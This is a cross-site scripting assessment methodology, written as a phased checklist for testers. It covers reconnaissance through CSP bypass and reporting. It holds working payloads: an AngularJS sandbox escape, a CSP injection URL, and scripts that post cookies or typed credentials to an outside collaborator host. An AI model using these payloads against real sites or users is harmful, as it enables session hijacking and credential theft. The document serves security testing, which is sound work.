Complete XSS Vulnerability Assessment Methodology & Checklist

Eyad Islam El-Taher

Executive Summary

This document provides a comprehensive methodology for identifying and exploiting Cross-Site Scripting (XSS) vulnerabilities based on extensive research and practical experience.

1 Phase 1: Reconnaissance & Information Gathering

1.1 Application Mapping

- **Identify all user input points:**
  - URL parameters (GET)
  - Form fields (POST)
  - HTTP headers (Cookies, User-Agent, Referer)
  - File upload functionality
  - API endpoints
- **Map client-side JavaScript:**
  - Identify jQuery usage ($ function, .ajax(), etc.)
  - Find AngularJS applications (ng-app, {{ }})
  - Locate template literals (backticks)
  - Identify dangerous sinks (innerHTML, eval(), document.write())
- **Analyze CSP headers:**
  - Check Content-Security-Policy headers
  - Look for CSP injection points
  - Identify allowed sources and directives

2 Phase 2: Initial Testing & Context Identification

2.1 Context Detection Methodology

1. **Insert unique marker:** Use string like "Eyaduitto"
2. **View page source** and analyze how string is handled
3. **Test WAF behavior:**

```
<Eyaduitto> "Eyad'uitto'
```

4. **Identify context:**
   - HTML element context
   - HTML attribute context
   - JavaScript context
   - URL context
   - CSS context

2.2 Basic Payload Testing

Payload	Context	Purpose
`<script>alert(1)</script>`	HTML	Basic script test
`<img src=x onerror=alert(1)>`	HTML	Event handler test
`<svg onload=alert(1)>`	HTML	SVG vector test
`" onmouseover="alert(1)`	Attribute	Attribute escape
`${alert(1)}`	JS Template	Template literal
`-alert(1)`	JS String	Operator injection

3 Phase 3: Advanced Bypass Techniques

3.1 WAF Bypass Strategies

- **Tag & Attribute Fuzzing:**
  - Use Burp Intruder with XSS cheat sheet tags
  - Test allowed HTML tags first
  - Then fuzz events for allowed tags
- **Encoding Techniques:**
  - HTML entity encoding
  - URL encoding
  - Multi-layer encoding
  - Unicode encoding
- **JavaScript Tricks:**
  - Use `/**/` instead of spaces
  - String concatenation
  - Template literals with ${}
  - Operator injection (-, +, —)

3.2 Special Vector Attacks

- **SVG File Upload:**

```
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert(document.domain)</script>
</svg>
```

- **Swagger UI Exploitation:**
  - Test: `?configUrl=`, `?url=`, `?config=`
  - Use external payload URLs
- **AngularJS DOM XSS:**
  - Test: {{1+1}} for verification
  - Use Angular-specific payloads

4 Phase 4: DOM-based XSS Assessment

4.1 Source & Sink Analysis

- **Identify Sources:**
  - `document.URL`, `location.hash`
  - `window.name`, `document.referrer`
  - `localStorage`, `sessionStorage`
  - PostMessage events
- **Identify Dangerous Sinks:**
  - `innerHTML`, `outerHTML`
  - `document.write()`
  - `eval()`, `setTimeout()`, `setInterval()`
  - `location.href`, `location.assign()`
  - `Element.setAttribute()`

4.2 Advanced DOM Exploitation

- **AngularJS Sandbox Escape:**

```
?search=1&toString().constructor.prototype.charAt=[].join;
[1]|orderBy:toString().constructor.fromCharCode(120,61,97,
108,101,114,116,40,49,41)=1
```

- **Angular Event-based XSS:**

```
<input id=x ng-focus=$event.composedPath()|orderBy:
'(z=alert)(document.cookie)'>#x
```

- **SVG Animation Bypass:**

```
<svg><a><animate attributeName=href values=javascript:
alert(1) /><text x=20 y=20>Click me</text></a></svg>
```

5 Phase 5: CSP Analysis & Bypass

5.1 CSP Assessment Checklist

- **Check CSP Headers:**
  - Look for `Content-Security-Policy` header
  - Analyze directives and sources
  - Check for `report-uri` with dynamic parameters
- **CSP Injection Testing:**
  - Test parameters in CSP headers
  - Look for `token` parameters in `report-uri`
  - Attempt directive injection
- **CSP Bypass Techniques:**
  - Inject `;script-src-elem 'unsafe-inline'`
  - Use Angular events to bypass script restrictions
  - Leverage allowed domains for script loading

5.2 CSP Injection Example

```
Original CSP:
Content-Security-Policy: default-src 'self'; script-src 'self';
report-uri /csp-report?token=default_value

Injection URL:
https://target.com/?search=<script>alert(1)</script>
&token=;script-src-elem 'unsafe-inline'

Resulting CSP:
Content-Security-Policy: default-src 'self'; script-src 'self';
report-uri /csp-report?token=;script-src-elem 'unsafe-inline'
```

6 Phase 6: Exploitation & Impact Assessment

6.1 Proof of Concept Payloads

- **Cookie Stealing:**

```
<script>fetch('https://collaborator.net', {
    method:'POST', mode:'no-cors', body:document.cookie
});</script>
```

- **Credential Theft:**

```
<input name=username id=username>
<input type=password name=password onchange="if(this.value.
length)
fetch('https://collaborator.net', {method:'POST',
 mode:'no-cors', body:username.value+':'+this.value});">
```

- **CSRF Token Theft:**
  - Read CSRF tokens via XSS
  - Make authenticated requests with stolen tokens
  - Change email/password on behalf of user

6.2 Client-Side Validation Bypass

- **Developer Tools Manipulation:**
  - Remove `disabled` attributes from buttons
  - Change input types (email → text)
  - Modify `maxlength` attributes
  - Remove/change form patterns
- **Legitimate-looking Payloads:**

```
foo@example.com"><img src= onerror=alert(1)>
```

7 Phase 7: Verification & Reporting

7.1 Verification Methods

- **Automated Verification:**
  - Use XSS.report for automatic verification
  - Monitor Burp Collaborator for callbacks
  - Check for successful payload execution
- **Manual Verification:**
  - Test in multiple browsers
  - Verify payload persistence (stored XSS)
  - Check impact on different user roles
- **Impact Assessment:**
  - Session hijacking capability
  - Credential theft potential
  - CSRF protection bypass
  - Privilege escalation possibilities

7.2 Key Testing Notes

- **HTTP-Only Cookies:** Cannot be stolen via XSS
- **URL Fragment:** Some payloads require direct URL placement
- **Canonical Links:** May affect URL parameter processing
- **Content-Type Headers:** `image/svg+xml` indicates SVG XSS potential
- **jQuery Detection:** Look for $ function and jQuery-specific methods
- **Iframe Usage:** Powerful for real-world exploitation

Conclusion

This methodology provides a systematic approach to XSS vulnerability assessment, covering from basic reconnaissance to advanced exploitation techniques. The checklist ensures comprehensive testing while the structured approach helps in identifying complex vulnerability chains and bypass mechanisms.